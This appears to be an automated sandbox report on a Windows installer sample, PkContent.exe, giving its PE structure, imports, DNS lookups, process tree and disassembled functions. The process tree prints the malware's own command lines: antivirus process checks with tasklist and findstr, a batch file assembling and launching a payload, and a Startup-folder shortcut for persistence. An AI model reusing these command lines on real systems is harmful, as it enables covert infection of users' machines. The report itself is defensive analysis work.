mov dword ptr [esp+18h], ebp
mov dword ptr [esp+10h], 00409268h
mov dword ptr [esp+14h], ebp
call dword ptr [00408030h]
push 00008001h
call dword ptr [004080B4h]
push ebp
call dword ptr [004082C0h]
push 00000008h
mov dword ptr [00472EB8h], eax
call 00007FD38C8C2ACBh
push ebp
push 000002B4h
mov dword ptr [00472DD0h], eax
lea eax, dword ptr [esp+38h]
push eax
push ebp
push 00409264h
call dword ptr [00408184h]
push 0040924Ch
push 0046ADC0h
call 00007FD38C8C27ADh
call dword ptr [004080B0h]
push eax
mov edi, 004C30A0h
push edi
call 00007FD38C8C279Bh
push ebp
call dword ptr [00408134h]
cmp word ptr [004C30A0h], 0022h
mov dword ptr [00472DD8h], eax
mov eax, edi
jne 00007FD38C8C009Ah
push 00000022h
pop esi
mov eax, 004C30A2h
push esi
push eax
call 00007FD38C8C2471h
push eax
call dword ptr [00408260h]
mov esi, eax
mov dword ptr [esp+1Ch], esi
jmp 00007FD38C8C0123h
push 00000020h
pop ebx
cmp ax, bx
jne 00007FD38C8C009Ah
add esi, 02h
cmp word ptr [esi], bx

Rich Headers

Programming Language:

[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729
[ C ] VS2010 SP1 build 40219
[RES] VS2010 SP1 build 40219
[LNK] VS2010 SP1 build 40219

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x9b34	0xb4	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0xf4000	0x1e898	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x7a000	0x964	.ndata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x8000	0x2d0	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x6dae	0x6e00	00499a6f70259150109c809d6aa0e6ed	False	0.6611150568181818	data	6.508529563136936	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x8000	0x2a62	0x2c00	07990aaa54c3bc638bb87a87f3fb13e3	False	0.3526278409090909	data	4.390535020989255	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0xb000	0x67ebc	0x200	014871d9a00f0e0c8c2a7cd25606c453	False	0.203125	data	1.4308602597540492	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.ndata	0x73000	0x81000	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_UNINITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0xf4000	0x1e898	0x1ea00	34eb4b5442afecdb4d25529894ddb814	False	0.03270886479591837	data	0.3626277943818537	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x113000	0xf32	0x1000	80b2788b8bb2dc8c3af02ada6000736d	False	0.045654296875	data	0.3620189715935393	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_ICON	0xf4220	0x11028	Device independent bitmap graphic, 128 x 256 x 32, image size 69632	English	United States	0.02018027328051441
RT_ICON	0x105248	0x9928	Device independent bitmap graphic, 96 x 192 x 32, image size 39168	English	United States	0.02583656396653744
RT_ICON	0x10eb70	0x2668	Device independent bitmap graphic, 48 x 96 x 32, image size 9792	English	United States	0.05014239218877136
RT_ICON	0x1111d8	0x1128	Device independent bitmap graphic, 32 x 64 x 32, image size 4352	English	United States	0.07126593806921676
RT_DIALOG	0x112300	0x100	data	English	United States	0.5234375
RT_DIALOG	0x112400	0x11c	data	English	United States	0.6056338028169014
RT_DIALOG	0x112520	0x60	data	English	United States	0.7291666666666666
RT_GROUP_ICON	0x112580	0x3e	data	English	United States	0.8225806451612904
RT_MANIFEST	0x1125c0	0x2d6	XML 1.0 document, ASCII text, with very long lines (726), with no line terminators	English	United States	0.5647382920110193

Imports

DLL	Import
KERNEL32.dll	SetFileTime, CompareFileTime, SearchPathW, GetShortPathNameW, GetFullPathNameW, MoveFileW, SetCurrentDirectoryW, GetFileAttributesW, GetLastError, CreateDirectoryW, SetFileAttributesW, Sleep, GetTickCount, GetFileSize, GetModuleFileNameW, GetCurrentProcess, CopyFileW, ExitProcess, GetWindowsDirectoryW, GetTempPathW, GetCommandLineW, SetErrorMode, lstrcpynA, CloseHandle, lstrcpynW, GetDiskFreeSpaceW, GlobalUnlock, GlobalLock, CreateThread, LoadLibraryW, CreateProcessW, lstrcmpiA, CreateFileW, GetTempFileNameW, lstrcatW, GetProcAddress, LoadLibraryA, GetModuleHandleA, OpenProcess, lstrcpyW, GetVersionExW, GetSystemDirectoryW, GetVersion, lstrcpyA, RemoveDirectoryW, lstrcmpA, lstrcmpiW, lstrcmpW, ExpandEnvironmentStringsW, GlobalAlloc, WaitForSingleObject, GetExitCodeProcess, GlobalFree, GetModuleHandleW, LoadLibraryExW, FreeLibrary, WritePrivateProfileStringW, GetPrivateProfileStringW, WideCharToMultiByte, lstrlenA, MulDiv, WriteFile, ReadFile, MultiByteToWideChar, SetFilePointer, FindClose, FindNextFileW, FindFirstFileW, DeleteFileW, lstrlenW
USER32.dll	GetAsyncKeyState, IsDlgButtonChecked, ScreenToClient, GetMessagePos, CallWindowProcW, IsWindowVisible, LoadBitmapW, CloseClipboard, SetClipboardData, EmptyClipboard, OpenClipboard, TrackPopupMenu, GetWindowRect, AppendMenuW, CreatePopupMenu, GetSystemMetrics, EndDialog, EnableMenuItem, GetSystemMenu, SetClassLongW, IsWindowEnabled, SetWindowPos, DialogBoxParamW, CheckDlgButton, CreateWindowExW, SystemParametersInfoW, RegisterClassW, SetDlgItemTextW, GetDlgItemTextW, MessageBoxIndirectW, CharNextA, CharUpperW, CharPrevW, wvsprintfW, DispatchMessageW, PeekMessageW, wsprintfA, DestroyWindow, CreateDialogParamW, SetTimer, SetWindowTextW, PostQuitMessage, SetForegroundWindow, ShowWindow, wsprintfW, SendMessageTimeoutW, LoadCursorW, SetCursor, GetWindowLongW, GetSysColor, CharNextW, GetClassInfoW, ExitWindowsEx, IsWindow, GetDlgItem, SetWindowLongW, LoadImageW, GetDC, EnableWindow, InvalidateRect, SendMessageW, DefWindowProcW, BeginPaint, GetClientRect, FillRect, DrawTextW, EndPaint, FindWindowExW
GDI32.dll	SetBkColor, GetDeviceCaps, DeleteObject, CreateBrushIndirect, CreateFontIndirectW, SetBkMode, SetTextColor, SelectObject
SHELL32.dll	SHBrowseForFolderW, SHGetPathFromIDListW, SHGetFileInfoW, ShellExecuteW, SHFileOperationW, SHGetSpecialFolderLocation
ADVAPI32.dll	RegEnumKeyW, RegOpenKeyExW, RegCloseKey, RegDeleteKeyW, RegDeleteValueW, RegCreateKeyExW, RegSetValueExW, RegQueryValueExW, RegEnumValueW
COMCTL32.dll	ImageList_AddMasked, ImageList_Destroy, ImageList_Create
ole32.dll	CoTaskMemFree, OleInitialize, OleUninitialize, CoCreateInstance
VERSION.dll	GetFileVersionInfoSizeW, GetFileVersionInfoW, VerQueryValueW

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 18, 2024 15:21:56.777230978 CET	62373	53	192.168.2.7	1.1.1.1
Dec 18, 2024 15:21:56.998159885 CET	53	62373	1.1.1.1	192.168.2.7
Dec 18, 2024 15:22:12.161611080 CET	53580	53	192.168.2.7	1.1.1.1
Dec 18, 2024 15:22:12.299993992 CET	53	53580	1.1.1.1	192.168.2.7
Dec 18, 2024 15:22:32.541296005 CET	57507	53	192.168.2.7	1.1.1.1
Dec 18, 2024 15:22:32.678602934 CET	53	57507	1.1.1.1	192.168.2.7

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 18, 2024 15:21:56.777230978 CET	192.168.2.7	1.1.1.1	0x3b98	Standard query (0)	ctIHfwPuGQOYqdJrz.ctIHfwPuGQOYqdJrz	A (IP address)	IN (0x0001)	false
Dec 18, 2024 15:22:12.161611080 CET	192.168.2.7	1.1.1.1	0xdb7e	Standard query (0)	ctIHfwPuGQOYqdJrz.ctIHfwPuGQOYqdJrz	A (IP address)	IN (0x0001)	false
Dec 18, 2024 15:22:32.541296005 CET	192.168.2.7	1.1.1.1	0x9937	Standard query (0)	ctIHfwPuGQOYqdJrz.ctIHfwPuGQOYqdJrz	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 18, 2024 15:21:56.998159885 CET	1.1.1.1	192.168.2.7	0x3b98	Name error (3)	ctIHfwPuGQOYqdJrz.ctIHfwPuGQOYqdJrz	none	none	A (IP address)	IN (0x0001)	false
Dec 18, 2024 15:22:09.274910927 CET	1.1.1.1	192.168.2.7	0x44ec	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Dec 18, 2024 15:22:09.274910927 CET	1.1.1.1	192.168.2.7	0x44ec	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Dec 18, 2024 15:22:12.299993992 CET	1.1.1.1	192.168.2.7	0xdb7e	Name error (3)	ctIHfwPuGQOYqdJrz.ctIHfwPuGQOYqdJrz	none	none	A (IP address)	IN (0x0001)	false
Dec 18, 2024 15:22:32.678602934 CET	1.1.1.1	192.168.2.7	0x9937	Name error (3)	ctIHfwPuGQOYqdJrz.ctIHfwPuGQOYqdJrz	none	none	A (IP address)	IN (0x0001)	false

Target ID:	0
Start time:	09:21:49
Start date:	18/12/2024
Path:	C:\Users\user\Desktop\PkContent.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\PkContent.exe"
Imagebase:	0x400000
File size:	830'415 bytes
MD5 hash:	87C051A77EDC0CC77A4D791EF72367D1
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	09:21:50
Start date:	18/12/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\cmd.exe" /c move Hammer Hammer.bat & Hammer.bat
Imagebase:	0x410000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	09:21:50
Start date:	18/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	09:21:53
Start date:	18/12/2024
Path:	C:\Windows\SysWOW64\tasklist.exe
Wow64 process (32bit):	true
Commandline:	tasklist
Imagebase:	0x510000
File size:	79'360 bytes
MD5 hash:	0A4448B31CE7F83CB7691A2657F330F1
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	09:21:53
Start date:	18/12/2024
Path:	C:\Windows\SysWOW64\findstr.exe
Wow64 process (32bit):	true
Commandline:	findstr /I "wrsa opssvc"
Imagebase:	0x7a0000
File size:	29'696 bytes
MD5 hash:	F1D4BE0E99EC734376FDE474A8D4EA3E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	09:21:53
Start date:	18/12/2024
Path:	C:\Windows\SysWOW64\tasklist.exe
Wow64 process (32bit):	true
Commandline:	tasklist
Imagebase:	0x510000
File size:	79'360 bytes
MD5 hash:	0A4448B31CE7F83CB7691A2657F330F1
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	09:21:53
Start date:	18/12/2024
Path:	C:\Windows\SysWOW64\findstr.exe
Wow64 process (32bit):	true
Commandline:	findstr /I "avastui avgui bdservicehost nswscsvc sophoshealth"
Imagebase:	0x330000
File size:	29'696 bytes
MD5 hash:	F1D4BE0E99EC734376FDE474A8D4EA3E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	09:21:54
Start date:	18/12/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	cmd /c md 724598
Imagebase:	0x410000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	09:21:54
Start date:	18/12/2024
Path:	C:\Windows\SysWOW64\findstr.exe
Wow64 process (32bit):	true
Commandline:	findstr /V "WowLiberalCalOfficer" Weight
Imagebase:	0x7a0000
File size:	29'696 bytes
MD5 hash:	F1D4BE0E99EC734376FDE474A8D4EA3E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	09:21:54
Start date:	18/12/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	cmd /c copy /b ..\Explorer + ..\West + ..\Agencies + ..\Situated y
Imagebase:	0x410000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	09:21:55
Start date:	18/12/2024
Path:	C:\Users\user\AppData\Local\Temp\724598\Thermal.pif
Wow64 process (32bit):	true
Commandline:	Thermal.pif y
Imagebase:	0x120000
File size:	893'608 bytes
MD5 hash:	18CE19B57F43CE0A5AF149C96AECC685
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 8%, ReversingLabs
Has exited:	false

Show Windows behavior

Target ID:	13
Start time:	09:21:55
Start date:	18/12/2024
Path:	C:\Windows\SysWOW64\choice.exe
Wow64 process (32bit):	true
Commandline:	choice /d y /t 5
Imagebase:	0x3f0000
File size:	28'160 bytes
MD5 hash:	FCE0E41C87DC4ABBE976998AD26C27E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	09:21:56
Start date:	18/12/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	cmd /k echo [InternetShortcut] > "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\HermesKey.url" & echo URL="C:\Users\user\AppData\Local\GuardKey Solutions\HermesKey.js" >> "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\HermesKey.url" & exit
Imagebase:	0x410000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	09:21:56
Start date:	18/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	11:19:28
Start date:	18/12/2024
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\GuardKey Solutions\HermesKey.js"
Imagebase:	0x7ff680350000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	11:19:29
Start date:	18/12/2024
Path:	C:\Users\user\AppData\Local\GuardKey Solutions\HermesKey.scr
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\GuardKey Solutions\HermesKey.scr" "C:\Users\user\AppData\Local\GuardKey Solutions\g"
Imagebase:	0x10000
File size:	893'608 bytes
MD5 hash:	18CE19B57F43CE0A5AF149C96AECC685
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 8%, ReversingLabs
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	17.8%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	20.7%
Total number of Nodes:	1526
Total number of Limit Nodes:	33

Executed Functions

Function 004050CD Relevance: 68.5, APIs: 36, Strings: 3, Instructions: 295
windowclipboardmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetDlgItem.USER32(?,00000403), ref: 0040512F
GetDlgItem.USER32(?,000003EE), ref: 0040513E
GetClientRect.USER32(?,?), ref: 00405196
GetSystemMetrics.USER32(00000015), ref: 0040519E
SendMessageW.USER32(?,00001061,00000000,00000002), ref: 004051BF
SendMessageW.USER32(?,00001036,00004000,00004000), ref: 004051D0
SendMessageW.USER32(?,00001001,00000000,00000110), ref: 004051E3
SendMessageW.USER32(?,00001026,00000000,00000110), ref: 004051F1
SendMessageW.USER32(?,00001024,00000000,?), ref: 00405204
ShowWindow.USER32(00000000,?,0000001B,000000FF), ref: 00405226
ShowWindow.USER32(?,00000008), ref: 0040523A
GetDlgItem.USER32(?,000003EC), ref: 0040525B
SendMessageW.USER32(00000000,00000401,00000000,75300000), ref: 0040526B
SendMessageW.USER32(00000000,00000409,00000000,?), ref: 00405280
SendMessageW.USER32(00000000,00002001,00000000,00000110), ref: 0040528C
GetDlgItem.USER32(?,000003F8), ref: 0040514D

Part of subcall function 00403D98: SendMessageW.USER32(00000028,?,00000001,004057B4), ref: 00403DA6

Part of subcall function 00406805: GetVersion.KERNEL32(0043B228,?,00000000,00404FA9,0043B228,00000000,?,00000000,00000000), ref: 004068D6

Part of subcall function 004062A3: lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406E79,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062B0
Part of subcall function 004062A3: wvsprintfW.USER32(00000000,?,?), ref: 004062C7

GetDlgItem.USER32(?,000003EC), ref: 004052AB
CreateThread.KERNELBASE(00000000,00000000,Function_00005047,00000000), ref: 004052B9
CloseHandle.KERNELBASE(00000000), ref: 004052C0
ShowWindow.USER32(00000000), ref: 004052E7
ShowWindow.USER32(?,00000008), ref: 004052EC
ShowWindow.USER32(00000008), ref: 00405333
SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405365
CreatePopupMenu.USER32 ref: 00405376
AppendMenuW.USER32(00000000,00000000,00000001,00000000), ref: 0040538B
GetWindowRect.USER32(?,?), ref: 0040539E
TrackPopupMenu.USER32(00000000,00000180,?,?,00000000,?,00000000), ref: 004053C0
SendMessageW.USER32(?,00001073,00000000,?), ref: 004053FB
OpenClipboard.USER32(00000000), ref: 0040540B
EmptyClipboard.USER32 ref: 00405411
GlobalAlloc.KERNEL32(00000042,00000000,?,?,00000000,?,00000000), ref: 0040541D
GlobalLock.KERNEL32(00000000), ref: 00405427
SendMessageW.USER32(?,00001073,00000000,?), ref: 0040543B
GlobalUnlock.KERNEL32(00000000), ref: 0040545D
SetClipboardData.USER32(0000000D,00000000), ref: 00405468
CloseClipboard.USER32 ref: 0040546E

Strings

@rD, xrefs: 004053D7
New install of "%s" to "%s", xrefs: 00405182
{, xrefs: 00405352

Memory Dump Source

Source File: 00000000.00000002.1317975118.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1317956249.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318000582.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318021031.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318021031.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318021031.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318021031.00000000004B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.00000000004F9000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.00000000004FB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.0000000000505000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.000000000050C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.000000000050E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PkContent.jbxd

Similarity

API ID: MessageSend$Window$ItemShow$Clipboard$GlobalMenu$CloseCreatePopupRect$AllocAppendClientDataEmptyHandleLockMetricsOpenSystemThreadTrackUnlockVersionlstrlenwvsprintf
String ID: @rD$New install of "%s" to "%s"${
API String ID: 2110491804-2409696222
Opcode ID: f168db28b2c12902a58862b60cbdcc3c6e49ead995c60d9878de2ccec3fe74d8
Instruction ID: 480b9f2609884c7685ddca5963e0cfcc77f9e358d06567921943d8ab7e89b76b
Opcode Fuzzy Hash: f168db28b2c12902a58862b60cbdcc3c6e49ead995c60d9878de2ccec3fe74d8
Instruction Fuzzy Hash: 14B15B70800608FFDB11AFA0DD85EAE7B79EF44355F00803AFA45BA1A0CBB49A519F59

Function 00403883 Relevance: 54.6, APIs: 22, Strings: 9, Instructions: 304
filestringcomCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

#17.COMCTL32 ref: 004038A2
SetErrorMode.KERNELBASE(00008001), ref: 004038AD
OleInitialize.OLE32(00000000), ref: 004038B4

Part of subcall function 004062FC: GetModuleHandleA.KERNEL32(?,?,00000020,004038C6,00000008), ref: 0040630A
Part of subcall function 004062FC: LoadLibraryA.KERNELBASE(?,?,?,00000020,004038C6,00000008), ref: 00406315
Part of subcall function 004062FC: GetProcAddress.KERNEL32(00000000), ref: 00406327

SHGetFileInfoW.SHELL32(00409264,00000000,?,000002B4,00000000), ref: 004038DC

Part of subcall function 00406009: lstrcpynW.KERNEL32(?,?,00002004,004038F1,0046ADC0,NSIS Error), ref: 00406016

GetCommandLineW.KERNEL32(0046ADC0,NSIS Error), ref: 004038F1
GetModuleHandleW.KERNEL32(00000000,004C30A0,00000000), ref: 00403904
CharNextW.USER32(00000000,004C30A0,00000020), ref: 0040392B
GetTempPathW.KERNEL32(00002004,004D70C8,00000000,00000020), ref: 00403A00
GetWindowsDirectoryW.KERNEL32(004D70C8,00001FFF), ref: 00403A15
lstrcatW.KERNEL32(004D70C8,\Temp), ref: 00403A21
DeleteFileW.KERNELBASE(004D30C0), ref: 00403A38
CoUninitialize.COMBASE(?), ref: 00403AD1
ExitProcess.KERNEL32 ref: 00403AF1
lstrcatW.KERNEL32(004D70C8,~nsu.tmp), ref: 00403AFD
lstrcmpiW.KERNEL32(004D70C8,004CF0B8,004D70C8,~nsu.tmp), ref: 00403B09
CreateDirectoryW.KERNEL32(004D70C8,00000000), ref: 00403B15
SetCurrentDirectoryW.KERNEL32(004D70C8), ref: 00403B1C
DeleteFileW.KERNEL32(004331E8,004331E8,?,00477008,00409204,00473000,?), ref: 00403B6D
CopyFileW.KERNEL32(004DF0D8,004331E8,00000001), ref: 00403B81
CloseHandle.KERNEL32(00000000,004331E8,004331E8,?,004331E8,00000000), ref: 00403BAE
GetCurrentProcess.KERNEL32(00000028,00000005,00000005,00000004,00000003), ref: 00403C04
ExitWindowsEx.USER32(00000002,00000000), ref: 00403C40

Strings

SeShutdownPrivilege, xrefs: 00403C16
NSIS Error, xrefs: 004038E2
NCRC, xrefs: 0040397C
1C, xrefs: 00403B56
/D=, xrefs: 004039A6
~nsu.tmp, xrefs: 00403AF7
Error launching installer, xrefs: 00403A7D
_?=, xrefs: 00403A64
\Temp, xrefs: 00403A1B

Memory Dump Source

Source File: 00000000.00000002.1317975118.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1317956249.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318000582.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318021031.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318021031.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318021031.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318021031.00000000004B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.00000000004F9000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.00000000004FB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.0000000000505000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.000000000050C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.000000000050E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PkContent.jbxd

Similarity

API ID: File$DirectoryHandle$CurrentDeleteExitModuleProcessWindowslstrcat$AddressCharCloseCommandCopyCreateErrorInfoInitializeLibraryLineLoadModeNextPathProcTempUninitializelstrcmpilstrcpyn
String ID: /D=$ _?=$Error launching installer$NCRC$NSIS Error$SeShutdownPrivilege$\Temp$~nsu.tmp$1C
API String ID: 2435955865-239407132
Opcode ID: b4c90e19bc4a522d6528af1b5983b0f211df9e73c6af6eb8e5ff34ebe7c06cb6
Instruction ID: 7cf1fa831aca86d96b8495533088dbe4cf0b0326274ef0a42366eb07f7c747b9
Opcode Fuzzy Hash: b4c90e19bc4a522d6528af1b5983b0f211df9e73c6af6eb8e5ff34ebe7c06cb6
Instruction Fuzzy Hash: C4A1B671544305BAD6207F629D4AF1B3EACAF0070AF15483FF585B61D2DBBC8A448B6E

Function 004074BB Relevance: 5.4, APIs: 4, Instructions: 382
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000000.00000002.1317975118.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1317956249.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318000582.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318021031.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318021031.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318021031.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318021031.00000000004B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.00000000004F9000.00000002.00000001.01000000.00000003.sdmpDownload File
